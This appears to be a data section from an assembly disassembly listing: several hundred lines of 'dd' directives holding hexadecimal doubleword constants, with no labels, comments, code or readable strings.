dd 14E1207Fh, 7513E722h, 0C8234A61h, 5F00F654h, 2AD8ABDh
dd 91D1FEAh, 4C902C39h, 0AB0090C4h, 8DF7246Eh, 1DDD6876h
dd 54F436h, 9EE31E77h, 40B0902Bh, 2931BE61h, 842124E9h
dd 0F97A22FEh, 42FE046h, 0CC68C970h, 0C24418ACh, 3C226AB9h
dd 855C98FBh, 8AEA0070h, 0C27A9383h, 725B73CBh, 0B23DE840h
dd 4AE219Dh, 0C4D4F274h, 8024FCCAh, 183BA1FCh, 8778092Dh
dd 5411CBABh, 0D6B86894h, 9C71D848h, 31844010h, 0C8BE1941h
dd 0E45D6113h, 30B25413h, 0C8810180h, 11127730h, 0F45321ABh
dd 0A9888Ch, 11E2A26Ah, 0FE4091B1h, 6D4B9302h, 54CB3538h
dd 2890083Ch, 938A7181h, 188B177Fh, 0FCBB820Ch, 40FC1CA3h
dd 3C142EF6h, 519D0069h, 0CAEFE9F9h, 8942C88h, 2B627C00h
dd 0B8EA7552h, 0E508F524h, 0C8A4B8E0h, 1E849342h, 8E25659h
dd 2DC5B861h, 19DBC8EAh, 0CC7A7B27h, 385400D4h, 736DE38Ah
dd 2F005A1Eh, 0A1D4CA9Fh, 72BB6C1Dh, 0FFC33084h, 4E2C29D0h
dd 1C2D2090h, 319C3112h, 5E7BE0h, 9C1EE3ADh, 193863ECh
dd 0B967713Fh, 0E5B825E9h, 3C700E4h, 66D4F0Fh, 0EE008FE6h
dd 8507F0ABh, 23459BBh, 81666810h, 78E295FEh, 41325084h
dd 4C6BBF09h, 0C85E1C78h, 0D0BB85F0h, 0CC84E17h, 4554B6A5h
dd 0CDD0D995h, 15F83373h, 1CE53Bh, 0F5E4594Ah, 7E7298DAh
dd 24E95148h, 70E1404Ch, 0AEEE1Ah, 0D0A232F6h, 91EE807Ch
dd 523C68B9h, 0CA40380h, 0D00ED272h, 905A2A5Eh, 0DAAE0152h
dd 0F449DD93h, 2BFC3084h, 0E8886681h, 94193960h, 28287C71h
dd 0A3D84731h, 52850015h, 0BAB30070h, 0A9EBFC95h, 614FE4B8h
dd 1A194067h, 0B1E4CAA4h, 0B4746628h, 0D039E19Ah, 1CE1017Eh
dd 0C6FA8F72h, 4C338Dh, 0C32F2B26h, 0B36C44h, 8AC9A538h
dd 0C6A85DE4h, 0E5663504h
dd 10D5B119h, 0DD0024A3h, 76A5D7C8h, 58007A4Bh, 9853248Dh
dd 5C9D0E99h, 0A5C0008Ch, 8EBC3FB0h, 0BD4BA900h, 7AFD99EFh
dd 6084507Eh, 0A6C891FAh, 0FB8D0048h, 0A6CA25A1h, 2A858202h
dd 5E7CDBA3h, 0B0EF4760h, 5711A1E3h, 0C492FA30h, 0AA999D25h
dd 1CE08380h, 75E904CFh, 0F8B21113h, 98AD80C8h, 1EE4ED69h
dd 9DF9B643h, 8EEB00D5h, 0E5DB8920h, 0E4406894h, 2EE3B256h
dd 4578CB7Ah, 12A4F8ACh, 0C83014C3h, 3FA4EF3Dh, 0A2005E73h
dd 0E0B08BD8h, 781F8189h, 80BEE499h, 4FB885DEh, 58065BF0h
dd 20800072h, 0B79D084h, 644DE800h, 0D540BDE1h, 0BEC33D21h
dd 98519500h, 2AA835E7h, 94038A78h, 32173D2Bh, 9B08001Dh
dd 0CD8C982Eh, 0BD7EE34Ah, 399D1E05h, 688314C8h, 0D630009Bh
dd 0A7EA6B52h, 0AF002E24h, 2DAB1C80h, 609E983Eh, 9D2B4851h
dd 7E7C1BD1h, 0E70011D3h, 21E8A5EFh, 645F00C0h, 3F4F883Ah
dd 3090F54h, 7716C9A6h, 61BA6081h, 0BB398001h, 3222BD13h
dd 73FF0080h, 0C9097875h, 0F803DDFCh, 0BAB15B84h, 539C1ACh
dd 8A0B6440h, 0A2A01E9h, 0B0980836h, 0F851B22Bh, 1004119Fh
dd 0C82E81h, 46AE6842h, 20079212h, 63889838h, 0A43A7039h
dd 8D139400h, 7D00510Eh, 851F5D83h, 0E1D72A1h, 0D27F7608h
dd 291A2C80h, 5A48E0BBh, 407E2881h, 2400A075h, 63A7E3EDh
dd 98F411h, 74AB9514h, 56064296h, 0D0154CA9h, 19014937h
dd 9A207DEh, 899F24A0h, 2960BD77h, 27C41CCFh, 11F91B00h
dd 0ACB2391Ah, 0E0A0E40h, 934699B5h, 2344C916h, 0F5960033h
dd 0A432ED62h, 8752919h, 0A0769800h, 7A8173A9h, 581672FDh
dd 0E009ACBAh, 8232B93h, 4DA8A6Ch, 77A11701h, 0ED8076BCh
dd 3C3F9560h, 69C02F1Fh, 196A0414h, 3BBB1E13h, 811973B8h
dd 70146EEBh, 98F88893h, 0C6261A60h, 0B99262D9h, 11CB6600h
dd 5870688Bh, 1863F60Ah, 21956293h, 0ED5CB42Dh, 4DFB00CAh
dd 9F6426C4h, 0C025B03Ch, 0DE4C2871h, 80773A2Dh, 883761CAh
dd 1373EA60h, 0C01F0E2Ah, 19BB19DEh, 188832C2h, 0C9938038h
dd 0B22CBA5Bh, 0DF0C8575h, 292A0F63h, 798120Bh, 2FB0289Ch
dd 0F0388603h, 0E78FD760h, 84190Ch, 6B7B8019h, 97230A39h
dd 153F7900h, 3BCC41BCh, 0AA57814h, 8A19DD1Ch, 0E65A03A4h
dd 41003A33h, 1D478DF1h, 32510D2h, 8B90A89Ch, 28B5222h
dd 8FFA1BB8h, 0B8A0CA7Bh, 39DC013Dh, 35932240h, 0F19BBF2h
dd 781F4F3h, 0B806B9F8h, 71152509h, 781D8CE4h, 1EECA613h
dd 7C7B0A0Fh, 884BF850h, 0D3521B3Ah, 7C5298h, 8A7442BDh
dd 3144EBh, 18F247B6h, 0E56BF6C4h, 6F0A09F6h, 0B070EE36h
dd 0E3323D80h, 1CBD582h, 425AFE96h, 2081B2ADh, 2C996230h
dd 8EBDE701h, 20E0E267h, 0AAF20071h, 5FB8D431h, 0BE0966F7h
dd 10620FFEh, 207430h, 491E485Eh, 0E88A8354h, 8FD7F53Ah
dd 0A0FA534Ah, 9C94EC74h, 84925507h, 1351ADCh, 0CDE68115h
dd 80637D8Ah, 0AFC32BE1h, 7E7032h, 0A30B0148h, 0EA7BC60Ch
dd 0FC1C3929h, 0F4B8FD01h, 0C047D0F1h, 0AF8A7F90h, 3261C96Bh
dd 0CF57E410h, 632A2903h, 0A0710381h, 72CEC87Eh, 98E70409h
dd 4817049Dh, 260B804Eh, 73292D8Dh, 1F153A1Fh, 9289DD80h
dd 1C6AC4Fh, 0B0165751h, 0F90B2C6Eh, 0FA39803Bh, 201FA2EDh
dd 50C501C3h, 0A1F23F55h, 0DC4EC9EFh, 8100BA6Eh, 880F02F8h
dd 3C8C7CA3h, 4149FD1h, 8708F4EBh, 3C063B16h, 5859320Ah
dd 70832C18h, 0DBB880B6h, 0CF03B3E6h, 6343D55Ah, 0D46AC845h
dd 83CC001Ah, 8A2C49BDh, 39C377A3h, 243C8F98h, 61480CE9h
dd 0C0771AE9h, 0BA19B942h, 21D097E1h, 0E2EF6610h, 0D4A29F00h
dd 4B2DB8E0h, 762A072Fh, 565B61A5h, 0BD226808h, 0B0360C9Bh
dd 11C03AE6h, 0C8606348h, 2486B202h, 26040C82h, 8912382Ch
dd 421E0847h, 317C7F45h, 0C58EB90Ch, 39B6086Eh, 0B7809F42h
dd 871428A2h, 0E672FF98h, 1F29E900h, 51915A93h, 307C6E78h
dd 6ACC0B40h, 0F0EA7BC7h, 0EE18B660h, 75EB2B37h, 1D9D0177h
dd 6F9C92B0h, 721BCFAh, 0D522C21Fh, 599070B0h, 0BC12397Dh
dd 5A164E81h, 0F80BB46Bh, 726122FBh, 9F2A7B99h, 0B851418Ch
dd 19582881h, 8ACB005Fh, 814066F1h, 340C0C2Ch, 0D2408C6Dh
dd 7415B440h, 0A21380A9h, 0C7EA0207h, 0E1609AA7h, 7871ADh
dd 0B10DD3C4h, 2A6E81Dh, 0EA63AA77h, 378C569h, 47BCFA89h
dd 34E096C9h, 9C0341C7h, 6FBD291Fh, 0FAA107F8h, 0E0D8DA35h
dd 0A97A8ECFh, 53A89E4Fh, 0EE9CF900h, 0D30CEC09h, 0B8BC94A0h
dd 69AC5132h, 14D7E094h, 96E60B9Eh, 0C68036EEh, 159DB074h
dd 9CBAC806h, 3869F16Ch, 0D008DE0h, 8270A22Eh, 81E7A3FDh
dd 0FB017CF1h, 0B98C6D38h, 4E199615h, 0AB378900h, 0F2144FA1h
dd 234C071Eh, 0AA76A99Dh, 751178h, 46B28725h, 618D048h
dd 43707C23h, 0FB1128B3h, 9C000229h, 3437E994h, 6C707798h
dd 4E61990Eh, 56FA80F0h, 2855129Dh, 1650FDA4h, 32DC098h
dd 713FA6F2h, 41C5E981h, 0BE921560h, 7A7B8F29h, 138CA067h
dd 30F2D1F7h, 0F796FC5h, 0BC007D2Fh, 0C6235DC3h, 191426Ah
dd 4BAE2A9Dh, 0D472C405h, 9028A437h, 0BA007051h, 9247CBC5h
dd 1882D22h, 0CDFE43C8h, 0F4B60401h, 15019CA2h, 987BEF4Eh
dd 99F4D80Fh, 0F5B9280Eh, 4BD91DE0h, 8B1F4025h, 81A38FA4h
dd 0A0B1AF60h, 0C57936FBh, 24107BA1h, 22981DD8h, 71A9BD0Ah
dd 7644B8A4h, 19626740h, 810F89E4h, 44EB6D92h, 0B082D597h
dd 25FB2184h, 6C4ED271h, 36775C7Dh, 1359B100h, 6C44DCD7h
dd 7F5E7B75h, 0CB100417h, 88707DADh, 51032AD4h, 88274CF7h
dd 0BC90C4C4h, 442BFB99h, 9814087Dh, 2254A921h, 95F00377h
dd 5145DEBCh, 0EA6848E0h, 0D7AF9909h, 10BC0994h, 0C0951428h
dd 0F3BB1DA1h, 5D00F440h, 0DD1A8DE4h, 28931h, 29B0FED0h
dd 0B45CC5EEh, 8D1588C6h, 71BA0039h, 7297FBCFh, 1600A0A9h
dd 0F4E60857h, 7D29F2h, 1615FCCh, 42386698h, 7BFEA574h
dd 0E99E3732h, 6846EEh, 4803C008h, 579E13DFh, 0E99C6F1Dh
dd 0F71D7BC5h, 2F7ED432h, 30DE97E5h, 499F35D0h, 6F008C7Bh
dd 230F20DDh, 601556DEh, 0EE3B190h, 477F9F10h, 330D5B09h
dd 4F01057h, 53C200A5h, 0C4AE456Ah, 3700A35Eh, 983B72B5h
dd 7F056DFh, 9DB6778Ah, 39B3769Bh, 72FE6800h, 8B65EB12h
dd 0F7A324EEh, 24414FA4h, 88979AF4h, 808BF918h, 34482E66h
dd 0A66051BBh, 74B2B549h, 0BAA300BCh, 9DE5020Fh, 0B0040523h
dd 0B9F0BF87h, 3DF8BC8Dh, 2CDE38AAh, 98C4B30Ch, 0E4997019h
dd 0CF105E07h, 0E400DDDAh, 149603E1h, 0F4CEEB5h, 0E6DA16FEh
dd 7E9EE414h, 219A080h, 0D0BF9A30h, 40E6ED1Eh, 0AD32A1C0h
dd 1CBB321h, 5EC6CE2Bh, 24336C9Eh, 38046A3Ch, 0EDA7A570h
dd 0D4328484h, 20C1332Ch, 9B84177Fh, 2DEF28C2h, 0F6EC1810h
dd 9FE97701h, 887DB8B7h, 0F10CEC8Ah, 7FBE8794h, 7818F9D6h
dd 2E1C982Fh, 300ECA7h, 24CD8CFFh, 2239DD87h, 3170C531h
dd 0E8F4A036h, 4188004Eh, 5482802Ah, 0E20F8465h, 410C6432h
dd 0BD15693Ah, 75AA7C00h, 6F249B50h, 721788h, 2F01CC3Ah
dd 1AC777E3h, 88FAE1Dh, 0C95526C0h, 61C6186Bh, 7011E9E6h
dd 401C2502h, 0FB7ECB08h, 0AC7C2150h, 0F6F8E6B0h, 0F879A8EFh
dd 0A03FF31Fh, 0C1E62100h, 0F802A8E7h, 8DB2409h, 0F7900676h
dd 8022387Fh, 71AA148Dh
dd 742258A2h, 493E9200h, 25DD4B18h, 4E0B0FCBh, 0C4B4C67Dh
dd 0A10FA986h, 9D5820F1h, 0B018C18Ah, 724824h, 56F0C28Ah
dd 2E7E7A74h, 14502C38h, 11F49E24h, 11037D21h, 6CC65FBAh
dd 7600117Eh, 711B6020h, 16662D1Ch, 1364607h, 15D8B7A9h
dd 0CE71808Ch, 55D329B4h, 2A68CFC7h, 0E2C4BB2h, 91B80FDh
dd 48DA41E5h, 522CCCEEh, 6FA60968h, 30B84013h, 0ED007573h
dd 0BBF3E281h, 0B90108E5h, 3583B850h, 69405E82h, 27CB6888h
dd 704C3B30h, 0B1C65C62h, 578F07A0h, 7B4AE04Bh, 163059E9h
dd 9984A9A8h, 53650067h, 0E2FFE8FBh, 0F000F545h, 7F5D41B8h
dd 98D77415h, 668E4460h, 0A688CB74h, 0EE550137h, 0A3F0C035h
dd 31032FBh, 1254DC99h, 152DF898h, 0F5670B6Ch, 58106FB1h
dd 380F4039h, 0A0AEBC06h, 124D21D9h, 0CEEE1199h, 39A7006Fh
dd 3D14EDD3h, 0B3E9076Ch, 0D08FF39Fh, 0AD4B1061h, 53585409h
dd 2DF4809Eh, 1712B3Fh, 7F62FA4Eh, 348B6648h, 84B991DCh
dd 561FDB80h, 5454EA11h, 13B0C6Ah, 2E20D543h, 0F271E2E3h
dd 7C000862h, 0BEF7A46Ah, 0CBAA11CFh, 5C14A3h, 0DEAF4E14h
dd 0EE922CDCh, 3652C800h, 66954237h, 9D431626h, 0B8782051h
dd 76020B01h, 32159252h, 670CE0A6h, 4DCA4CBh, 3DD70379h
dd 0A5B4C243h, 3EE96E20h, 7D497A14h, 5C241E55h, 43258506h
dd 8CCCC595h, 42861D10h, 0CBF70325h, 3B7BC582h, 45805811h
dd 0AA368972h, 0DC1E335Bh, 51CC981Ah, 90A95895h, 69D304F8h
dd 4C7837FBh, 4D10FCh, 0D574949Eh, 9B3152C4h, 0B1985E05h
dd 20C03ECAh, 0B9B783A3h, 0B5EE0B60h, 2D8E888h, 0CE36251Ch
dd 9100E8C4h, 77A9C992h, 299D04h, 8933C534h, 6D73BD39h
dd 0E12F323Ch, 0CE0D4E70h, 14F08EE4h, 0D4127B6Bh, 0E28C6CAh
dd 0E800A455h, 0B8E63E50h, 0D3C93Ah, 4D9DA68Ah, 80DB33h
dd 0C18FA8D6h, 4EFD5616h, 0BF2DB038h, 52B480C2h, 15FA6B98h
dd 0AC9F2E53h, 9C0B601Ch, 7000EFE7h, 4B6D415Eh, 0F0E820h
dd 0F3A6249h, 345C5AF1h, 70722405h, 8080BE88h, 94EE690Bh
dd 33FE41F8h, 2C67F41Bh, 0CF1D7402h, 0C60DD6D7h, 0BED300F8h
dd 0A3EB5887h, 950A4989h, 787450E9h, 0FEF6A443h, 0C0707611h
dd 35710119h, 0E4009AD4h, 257A235Ah, 0C8863430h, 3F808EC8h
dd 878D0752h, 0D171C8h, 0A6B43D2Dh, 7CB9AFD3h, 1BD85805h
dd 0ECC86FADh, 34D50694h, 0D0986059h, 280108A1h, 0A74DC7D4h
dd 0C388A4Fh, 915CA200h, 2A9C9DD8h, 44442D75h, 4B00F095h
dd 19C6A7E3h, 0D5F173h, 0AA3259A5h, 99787623h, 60925176h
dd 3A8BE500h, 84F77472h, 25370FE9h, 7BC0DC9Ch, 12557DC8h
dd 0C54F9E14h, 65410040h, 0FAD4459h, 900A770Dh, 82A3111Ch
dd 72AA0D91h, 9DC861AEh, 914F76A0h, 0E93B0454h, 0B470C23Ah
dd 5D909827h, 9C812374h, 0E9E911Ch, 80142E72h, 0A174D841h
dd 8C4D0096h, 6AF1ED27h, 0AE2E9EA2h, 0D250C09Ch, 3C2D88FAh
dd 79D9F603h, 0D82BEB49h, 0B15197BDh, 3703F88h, 0FC4E5E8Ch
dd 0DBB0F5DFh, 0A70A44A1h, 4886397Bh, 8B008F11h, 726F4676h
dd 0B00E025h, 9CC9589h, 1D73A247h, 0D54B08h, 0A99D50EFh
dd 39CBA071h, 0F8B38136h, 2833022Ch, 0BC808F22h, 86792BFFh
dd 0B711689Ch, 8B73BC4Ch, 748077E2h, 0B0E699F5h, 0A2056D05h
dd 8C825369h, 4DEE238Dh, 0DC371001h, 0B886F676h, 8A3F0880h
dd 7A4B840Fh, 33F4A100h, 0B25B55A6h, 0F2EC0094h, 0F9053247h
dd 60C6538Fh, 3139A1AAh, 0DC0860EBh, 90A6013h, 0FED90F00h
dd 0EC6F4FB5h, 7DAF003Eh, 80386850h, 46609B22h, 0F35BDB30h
dd 0FDD91F98h, 0A59130ACh, 9303A997h, 88F14B59h, 0DD74C836h
dd 63C97875h, 0DE7668F4h, 4FEE8597h, 0F308FC08h, 0C11FE243h
dd 0E310FAE8h, 94000A58h, 979DF1AFh, 0E8669824h, 792060ACh
dd 0C8FD3F46h, 0DF443706h, 741933ADh, 959A00CDh, 0C7A7776Dh
dd 0C1E46BEh, 5880D24Bh, 0E4FA1B1h, 79940C3Dh, 0F671AD90h
dd 9337500h, 74BBEA7Fh, 4D9B2EE1h, 0AFBF0AFFh, 0E97C809Ch
dd 0F5396AAh, 0D9994C03h, 2AB17Dh, 51E0F341h, 894BAA77h
dd 0FCB48D3Eh, 85075600h, 0C390E220h, 0BF470096h, 5AD779F4h
dd 73007461h, 0B3EA533Fh, 0A8703428h, 303C7ECCh, 8F79CE87h
dd 1200D661h, 0FB9CABC2h, 0B7415924h, 65502158h, 0D4527460h
dd 0E0D91FECh, 73FD0B00h, 0AF99A2h, 0CC39A18Ah, 2457B29Bh
dd 0DA6E6300h, 0EBFDD49Eh, 0A739C06Ch, 72DF47C5h, 815D8D00h
dd 0D9D6E137h, 0A5440AB1h, 60C0961Ch, 0FD8D5B19h, 0CEA26800h
dd 0BA7048FFh, 0F97C0339h, 1EEE1D79h, 0E3390886h, 48490657h
dd 1F74200Bh, 64B406h, 0EE41F8Fh, 0D000CD7Ah, 49F78681h
dd 30664E63h, 2E49FAC0h, 0D300D49Bh, 41B55F14h, 399E05h
dd 0B3D89F61h, 2045A364h, 31EE418h, 0A2EC71h, 792F9450h
dd 30156260h, 0AE1FB03h, 0CE3E89Fh, 51ED258h, 2200D931h
dd 86412FA6h, 29ABDDh, 85309669h, 113A439Bh, 83D21F03h
dd 1DEBB60Ah, 40F66341h, 0F0582AB7h, 62196117h, 9B693841h
dd 34FF27CEh, 0D5172178h, 1180D921h, 0FC2E366Ch, 99DC60FDh
dd 59622703h, 0D3480828h, 0D580FF8Fh, 9C67865Ch, 2178006Dh
dd 3062372Fh, 0E100E05Dh, 0A02299E9h, 3032EEEBh, 0D9402761h
dd 0D0E624Dh, 0A37D17D6h, 0E1F7892Fh, 80933A60h, 206C0E79h
dd 21043CA0h, 3102F8F5h, 7C920694h, 49CC8372h, 9D99D883h
dd 4A3B39C6h, 0DD01CFA2h, 9A544082h, 7A30CB8Fh, 6A45391Ch
dd 0F7E9B783h, 90001834h, 2AB5D8A0h, 4D7086h, 0A5576649h
dd 39383D4Ch, 51E56531h, 0A886D883h, 0C023317Ah, 0D1686C00h
dd 4E1CE707h, 0B5E300A8h, 4DC8AC3Ah, 0D80CA9B1h, 40D3EE10h
dd 49FC60C1h, 0A4B9F1B2h, 0E17D9600h, 0B6E017Bh, 50627592h
dd 40B1909Dh, 0BA2A0A35h, 4E03B0E4h, 4923B20Eh, 6A3A910Ch
dd 0C0DE6422h, 0F3870D57h, 0CD0BFB5Fh, 0DD2CB5B3h, 92E45484h
dd 0D223E810h, 0CFB2C0A8h, 6D878ACh, 90D9C76Fh, 210021FCh
dd 304D7324h, 78175991h, 6512064Eh, 71081E54h, 0F2861B00h
dd 237E531Ah, 2A300032h, 8B1096CEh, 4005F80h, 49704767h
dd 6C246918h, 0FF683971h, 0EDA988h, 0F3DB93FAh, 6032A67Eh
dd 387DEF00h, 4FF9869Fh, 4640163h, 3CC22448h, 7D38878Eh
dd 34F4FCEDh, 653A1490h, 0E788ABE1h, 0A1938D6h, 27DA0CB4h
dd 69B4580h, 31FEC13Ch, 2DBBE502h, 435B822Fh, 2860C120h
dd 551A4180h, 4443C27Fh, 7010810Bh, 7E970E4h, 2C09E874h
dd 907FA149h, 0DE5987FDh, 0FB205739h, 0FDDF8CEh, 0D7CFC969h
dd 0A10A23E1h, 0B8404792h, 2109C780h, 1DCA0CB5h, 8EF36473h
dd 7440264Eh, 71A4D112h, 70115E00h, 1C637D7Ah, 9DCD1CF8h
dd 4943436Ch, 0C1D23F7Eh, 9000844h, 3A9880E2h, 4D71F2h
dd 8AEFE677h, 0D7C07E39h, 1D1EB712h, 0E7F16401h, 38CCE1F0h
dd 7E1B2AB9h, 601900D0h, 7480AE2Ah, 0F833DF85h, 14085Ch
dd 2A673821h, 8C88846Ch, 2CEDCA03h, 14A7CE60h, 0B81B4AC6h
dd 0C3857E00h, 1303E8F2h, 6196EE0Ah, 3D80AC1Eh, 0AFD138B1h
dd 7DBF0CBDh, 0C08A5B8h, 227821CFh, 46F3C438h, 14CF039Ch
dd 1ADAB5C0h, 0A79B69E8h, 68E51F17h, 6A81D302h, 0D6A469A5h
dd 622A64C8h, 0D5078811h, 86830840h, 0E8048B1Eh, 62991FC1h
dd 30901229h, 41923CD8h, 70EED010h, 8D3730ADh, 1A140AC0h
dd 0E6202860h, 0C28217ACh
dd 157E7419h, 0AFFCD000h, 0C78A095h, 0C04F7A8Ch, 1029B610h
dd 0A90E2B6Dh, 8050CD76h, 0AF1D5C3Bh, 80090060h, 1C27F9EAh
dd 7100F866h, 7267475Bh, 4E7F99h, 0C539599Ch, 0ED602885h
dd 3208B566h, 0AB2C0021h, 12F9CF59h, 7C02A968h, 66458979h
dd 5E6E0060h, 97F8C3Fh, 4A6CB900h, 0E28DA2DDh, 934509AAh
dd 55CB21h, 0C9464EEh, 7A9A7B6Ch, 0A6139EAh, 4FECC503h
dd 0E1975774h, 825395FAh, 0EFF48318h, 0DEA90077h, 4F06726Eh
dd 9A091D7Fh, 39F078h, 6B98A737h, 14764A2Bh, 30082063h
dd 0D420007Ch, 3183A7CFh, 5A3C66D3h, 5C4B8528h, 0EB83E4EDh
dd 3B900108h, 673E3288h, 99598EEBh, 0CCAB86C5h, 1FF049h
dd 0E676360Bh, 0FEED55D2h, 75082A66h, 0F3200021h, 519A4836h
dd 40C9D14h, 510508E4h, 65D60045h, 0E1BCF0E8h, 0B501467Ch
dd 0FA71C9CBh, 0F082739Dh, 75B7C56Bh, 0A8980603h, 61E6B802h
dd 93689831h, 6B804036h, 6A608BE5h, 5FBF7228h, 0D91B0E06h
dd 20C0E2EBh, 3CC0A38Dh, 5663E500h, 0C7044A32h, 0EECC00BBh
dd 0FF9FB6CAh, 49013061h, 6AA421C6h, 27D45B9Ch, 29E13B23h
dd 7EE65000h, 0F7567D30h, 3D6583Bh, 1419BBF6h, 78A79821h
dd 0BF4300D5h, 53932686h, 8E00A21Ah, 28AC8967h, 3CE2D605h
dd 7900C75Ch, 31B09AFh, 6B014261h, 5671D101h, 219658E2h
dd 1EDEC30h, 3BF747CDh, 2FC26D1h, 0DBB8DFh, 50C4499Fh
dd 463999F9h, 0B0447A00h, 37243D75h, 0C36178E3h, 45B13F49h
dd 6A0E30EEh, 2781AA50h, 4B014002h, 227064DDh, 1A7C01F9h
dd 910F94FCh, 8554E061h, 3A0BC007h, 36964C3Dh, 0FEF87C58h
dd 0D74E0178h, 0DFAA67E5h, 0AB81FBC3h, 426AFC0Ah, 324D3048h
dd 0C0FA304Fh, 63E8C2Ah, 0BEAF81E2h, 0E53A4EC7h, 0F43C7F6Dh
dd 0CE8A0795h, 7CC6AA5Fh, 0F5A800A8h, 0FDA18F69h, 7AFE723Fh
dd 8391FB3Bh, 0A23792E4h, 0D420004Dh, 76D0E01h, 2B005880h
dd 8846270Bh, 0F73AD2DBh, 694CC0h, 6D7ACB1Ah, 2E58A3A2h
dd 27880B00h, 427E903Ch, 0B2B7584Eh, 0DFFB2200h, 6613167Bh
dd 702EEF00h, 10F8968Eh, 5880E723h, 25E7D2DCh, 4C016F16h
dd 34523B76h, 1880A3A4h, 74EF7FD8h, 0FA00E287h, 61CC8F63h
dd 60483C52h, 8880B04Eh, 1F1FE0E5h, 4F80E623h, 4A9BBCBFh
dd 3AD63B40h, 0F47C200h, 4EB075ADh, 0D44D7906h, 0EF0A1A0h
dd 0CB7BAA14h, 391A9AA1h, 6518808Dh, 274B5730h, 7E23705Fh
dd 0C67B1D0Eh, 0A8370187h, 0E54EBA8Ch, 4DA84054h, 0D000C9Bh
dd 7ECF1896h, 0B6F2FDh, 146AF62Dh, 0AE29C1D7h, 0DAA9C60h
dd 90583Fh, 2F4F8561h, 0E6F22592h, 108AFB32h, 0E10497FAh
dd 81E9FB64h, 0C3541710h, 90D72DF4h, 2A99EDh, 835D976Dh
dd 0AD0564F0h, 99898F3Fh, 129DD41h, 2020D308h, 11094282h
dd 8511EE54h, 43D218F2h, 88A1BD51h, 0B989D07Eh, 0D9732810h
dd 0FAEB305h, 44C04FB5h, 0DDBF11h, 510A3148h, 1ABA0109h
dd 4D25E80Fh, 0A8F5E019h, 9B4FD4h, 0DB9C872h, 2466B5B0h
dd 4A745A00h, 0F8377D63h, 1F3760Fh, 8E68C9EDh, 0C4EF552Bh
dd 0AF004D0Ch, 9B39EE53h, 0F2EBD3B5h, 25F80FF9h, 65C0E355h
dd 0B91CAA11h, 170EF7E8h, 83242AFCh, 80913CC5h, 0CDE85Bh
dd 621F1018h, 19EB075Eh, 43C94EAh, 31498563h, 0BC211429h
dd 0E8FC52A2h, 36A73D2h, 963F9B67h, 0EA8B94EFh, 0B6E41101h
dd 5CB7C798h, 0F82DC0C4h, 8231031Eh, 0B10FCD23h, 0ADECDCA0h
dd 18F24800h, 66C3A3BDh, 63C91F7Dh, 0E28480D5h, 0AC075455h
dd 115C39h, 29A4EA9Eh, 67D34199h, 50C0A84Ah, 42B3F5ADh
dd 8A9B5E80h, 0ECB7C0DDh, 414418A0h, 9158F822h, 0EF6DF500h
dd 0A84F907Ah, 278A00F1h, 70B65374h, 0D207C326h, 87C313Bh
dd 0FAAA61C0h, 34E30035h, 4E87D7E4h, 0B811986Fh, 23007C79h
dd 0A11497FBh, 0ED3E1B04h, 48B79D58h, 0BB0E280h, 56B605h
dd 864997C0h, 623CD07Ah, 360D6700h, 91341FD8h, 0AEA20096h
dd 0A3D384CCh, 0FA00597Dh, 6EA61B62h, 5B166h, 75E21587h
dd 0AFCBF1C8h, 8B570600h, 9EB34C4Dh, 0E3B02862h, 3D5F7588h
dd 41383EFEh, 45C590Eh, 269AC4A0h, 19005DDBh, 4B3DE196h
dd 3E69B6h, 6F491DA2h, 0C9EA2F04h, 353BD900h, 0C93CEE5h
dd 0F02FEA0h, 4874503Ch, 0B47529A0h, 1B28A5CAh, 8175B447h
dd 0C99BE100h, 7D165D34h, 38C601FCh, 113993F4h, 0C3F0CB09h
dd 0DD00726Dh, 2478E6D6h, 1577CFAh, 0E08EDAD3h, 0D7BC1845h
dd 0F17DF891h, 70782065h, 6303877Bh, 12C6C4A6h, 0B050003Fh
dd 5CCB78Dh, 2092A93Dh, 9632758h, 67900Fh, 8495BB20h, 5D3502EBh
dd 79FB079Fh, 66B84C6Bh, 18001BEDh, 15E57348h, 0ABF2FEh
dd 0FC5B9F7h, 2483A46Dh, 236CD03h, 0B71D2B84h, 0DC68D7D0h
dd 0A622391Fh, 0F605200h, 6E72A855h, 0ABE2A11Dh, 632C4FC0h
dd 16328D6Bh, 0AC236D70h, 0E2530F4Eh, 997D20D0h, 0BB7E25h
dd 3C15446h, 26ACFE33h, 0CC007892h, 1F8BF55Ah, 24615565h
dd 3640669h, 0A00E8349h, 24035788h, 809AE73Ch, 750BD57Ch
dd 0AB1B28h, 4907986h, 0D2303F01h, 9B455200h, 483B7C94h
dd 0E45A03CAh, 0CCCDBF8Dh, 806C0D90h, 871D0C00h, 0C4B9E6BEh
dd 5837006Eh, 9F4FD2B8h, 0E2003DA6h, 8594E0C6h, 7CC999Ah
dd 42EC650Bh, 87F7A0C8h, 53268313h, 0C22C26D5h, 700E1E07h
dd 0C0A14FAEh, 32192281h, 16170077h, 7F02691Bh, 0E672C10Ch
dd 9A0B0912h, 0EB40A01Fh, 562E8755h, 22D61803h, 38151899h
dd 80BBD33Bh, 0A66D8872h, 38FEF1Ch, 0B8706749h, 94D0DB8Bh
dd 8100549Bh, 0FBCB103Fh, 142F09C7h, 9BB250D8h, 41008B3Eh
dd 18203271h, 0BE00F7CBh, 43EA48DEh, 0E54B0Ch, 0B5CCC269h
dd 3D019C9h, 5EDF5601h, 0F34E7A2Ah, 3F8291DCh, 9800EFDDh
dd 0CC242EC2h, 0D400B701h, 9E6C205Ch, 70907F0Fh, 16873A86h
dd 3C7DF303h, 0C1FA32A9h, 0BEEE7C60h, 3C68F95Ch, 0A77801ECh
dd 0C3DA57E4h, 0C727970h, 7F4A55Eh, 74009EA8h, 0B4E99C3Eh
dd 1F64235Ch, 80FCF2DCh, 1E82EDB2h, 75007747h, 15E117CBh
dd 1F3A9D23h, 7C41281h, 0DE3E07A1h, 0B9D101E0h, 0FF00A2DBh
dd 27F6AE8Bh, 4D419Bh, 352684A6h, 16CF5387h, 7F8C7400h
dd 1BC73D1Fh, 4B664C29h, 3EC08040h, 0EA000255h, 19B11E6h
dd 0D00272Ch, 8712D373h, 0FC57145Dh, 6F5F1232h, 0CF36001Eh
dd 29CE6B3Ch, 0E4EA3EFEh, 0F38A5400h, 13906E9Fh, 0CA1812C1h
dd 510B0F16h, 0A6E4A580h, 5F16C238h, 0E800FEB4h, 726C0324h
dd 69B000B3h, 59761EC9h, 2C92778Bh, 496DAF05h, 55C4B324h
dd 0F20370C0h, 50D60E73h, 0C3257EECh, 58D4C09Ch, 6A062AF6h
dd 941BB024h, 0D0B30138h, 0FD8AB533h, 0ED0DF0FFh, 0BA4F4100h
dd 49C929CAh, 460005Dh, 0A733A150h, 9F00A2A5h, 4280220Eh
